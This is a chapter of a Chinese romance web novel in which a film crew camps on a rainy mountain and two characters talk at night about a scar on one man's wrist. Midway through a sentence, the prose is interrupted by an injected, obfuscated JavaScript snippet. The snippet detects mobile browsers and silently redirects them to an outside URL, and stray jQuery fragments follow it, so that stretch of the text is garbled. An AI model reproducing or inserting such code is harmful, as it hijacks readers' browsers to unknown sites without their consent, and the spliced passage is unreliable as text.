尽管打喷嚏的时候已经回避,郁颜还是说了句抱歉。
吴文玥担忧地看着郁颜,她脸上带着妆看不清脸色,只好用手背挨了一下额头,“有点热。”
郁颜觉得还好,可能是刚才蹲在地上打盹的时候着凉了。
小助理给她拿一次性纸杯倒了一些感冒颗粒,还没等郁颜喝,就听见远处搭帐篷那几人招呼着让人过去。
他们一行十个人,三个帐篷就足够了。
郁颜跟着吴文玥、小助理还有几个女妆造师挤在一起,她手里捧着温热的纸杯,小心翼翼喝了一口。
本来她身体素质很不错的,不知道为什么最近几年变得很差,上次也是淋雨,一连病了一星期才好。
郁颜担心自己再和上次那样会耽误拍摄进度,所以喝完又问一圈谁带感冒药没,她已经开始鼻塞了。
吴文玥找人要来几片布洛芬,郁颜吃完睡了会儿。
山上这场雨下得稀稀拉拉,停一会儿,下一会儿。
中午几个工作人员趁着雨小了些,便带上雨衣下到底下大巴车停靠的公路上,拿了食物上去分。
本来还想着有情调地来场野炊,但附近可以点火的木棍全被雨淋湿根本用不了。
吴文玥啃着干硬的面包,望着帐篷外的雨重重叹了口气。
一直到天黑雨才有停歇的意味,郁颜睡了一整天,好在感冒终究是没缠上她,除了鼻子还有点塞,其他都已经正常。
隔着帐篷里那块透明塑料窗户,隐约瞧见外头月明星稀。
郁颜便想着出去透透气,顺便拿点吴文玥给她剩的面包填饱肚子。
经过一整天雨水的洗礼,外面空气中弥漫着清新的潮湿气味,郁颜搬起大伞下的折叠椅挪到一块巨石前,然后坐下把腿翘到石头上。
撕开面包咬了一大口,空了一整天的胃短暂得到慰藉,郁颜舒服得伸了个懒腰。
她仰头看向天空,在这个角度可以很清晰地看到那把小勺子,宇宙中的星星以一种神奇的排列组合方式呈现在距离看到他们的人十万八千里之外。
往下看是连绵不绝的山脉,往上看是将圆的月亮。
郁颜拿出手机看了一眼日期,原来是快到十五了。
“怎么没睡觉?”余青从帐篷里出来的时候刚好瞥到那抹手机亮光,见是郁颜,学着她也搬来一把折叠椅坐下。
自己是因为睡了一整天,郁颜看了一眼余青,反问:“你不是也没睡?”
“太吵了。”余青低声说,而后无奈耸肩,“烟味太重。”
他那个帐篷里有一堆四五十岁左右的大叔,人到中年不是喝酒就是抽烟,再外加一个半夜睡觉打呼噜。
小小的拥挤的帐篷里此起彼伏的呼噜声,比他宿舍里的童贺吵上百倍。
郁颜笑笑,自顾咬了口面包,“你不是也抽烟吗?”
余青脚步一顿,随即立马否认,“我不抽。”
但由于上次郁颜的“亲眼撞见”,余青觉得自己这句否认显得轻飘飘,于是又解释了一遍原由。
郁颜“哦”了一声,不知道相信没有。
余青:“……”
这会儿的安静没有之前那么让人不适,两人同时望向黑夜,静静地欣赏一轮明月。
直到“啪”的一声,郁颜拍死一只停留在余青手背上的蚊子。
“看,有血。”郁颜举起手给余青看,证明自己不是故意要打他的。
“……谢谢。”余青沉默片刻,随即掏出卫生纸递给郁颜,“擦一擦吧。”
郁颜发现余青这人特别爱干净,总是随身携带卫生纸,作为一个男孩还挺少见的。
刚擦完手心,郁颜余光瞥见余青左手手背上还沾得有蚊子血,于是又抽了一张想要替他擦一擦。
方才没怎么注意,这下凑得近些,郁颜又看到那条疤了。
淡淡的,接近皮肤的颜色,在并不明亮的黑夜,顶着高悬的明月。
郁颜小心翼翼地触碰了一下,动作很轻,她甚至都不确定自己有没有真正摸到。
“你这条疤,挺特别的。”
机械手表是上午帮忙搭帐篷的时候取下来的,后来又同那几个大叔一起下山拿物品。
来来回回余青把手表给忘了,刚好冲锋衣袖子够长,完全遮挡住腕骨这块,只是他今晚睡觉的时候没穿冲锋衣,一件黑色的短袖套在里面,出来的时候也没太在意。
这会儿被郁颜指出,他才忽然意识到手表忘记戴了。
“为什么特别?”余青问。
“因为——我很喜欢这块骨头,”郁颜笑笑,接着说,“以前在公司里的时候,艺人会有体重限制,不能吃得太多,不然会变胖变丑变得没有人喜欢。公司食堂配备定量的减脂餐,但每次我都吃不饱,每天晚上躺在床上饿的捏着手腕骨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363422|183804||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头,感受它们凸出来的形状,心理上会好受一些。”
注意到余青看过来的视线变得灼热,郁颜深深吸了一口气,半开玩笑道:“是不是很变态?”
余青摇头,“不会,你很瘦。”
郁颜伸出左手,一只眼睛眯着,借着月光轻轻点了点那块腕骨,“可能长大了就没以前那么贪吃。”
余青垂眸在自己左手处扫了一眼,脸上没什么表情。
“那你呢?怎么会在这块骨头上留下一道疤。”郁颜终于问出那个埋在心底好久的疑问。
淡粉色的陈年旧疤静静躺在那块尺骨上。
“前两年,大一的时候,在车行修车不小心划的。”余青听见自己这么说。
郁颜呼吸一滞,停顿好久,随后而来的是迷茫与无措。
她的视线再次落到那道疤痕上。
她想过小朋友万一是来亲戚家里借住,小小年纪不认识榕菏二字,或者长大了根本不记得自己小时候去到过某个城市。
但伤疤带来的痛觉远比记忆深刻,小男孩那时候那么小,比她都要矮一头,新添的伤口还在渗血。
不会有人把小时候受过的伤同成年后的伤搞混,所以从一开始都只是郁颜在幻想,没有那么巧合的事,她认错人了。
余青没有注意到郁颜的表情,他低着头不知道在想什么。
第二天工作人员都起得很早,天气很给力,太阳升起时走过的地方留下红痕,漂亮的天边霞彩绽放光芒。
简单洗漱之后便投入紧锣密鼓的拍摄。
众人抓紧时间赶在日落前把需要的素材拍好,下山坐着大巴回酒店的时候天还亮着。
夏季昼长夜短,七点半天刚蓝,司机唱着小曲慢悠悠行驶在山间公路上。
郁颜被吴文玥安置在前排,她说前排对晕车的人好受一些。
余青则坐在她身后,两人之间隔了一个座椅靠背。
郁颜靠在透明玻璃窗户上,透过车顶反光,看见余青在解耳机线。
模糊但细长的手指不停穿梭,让她不禁想起那日在便利店门口,他就那么拿着布满油污的车链子耐心安装。
两分钟之后,窗户上没有动静了。
郁颜闭上眼睛,混乱嘈杂的大巴车里,她好像听到了几声熟悉的曲子,从余青那条音质很差的耳机孔里传出来。
是什么呢,她有些想不起来。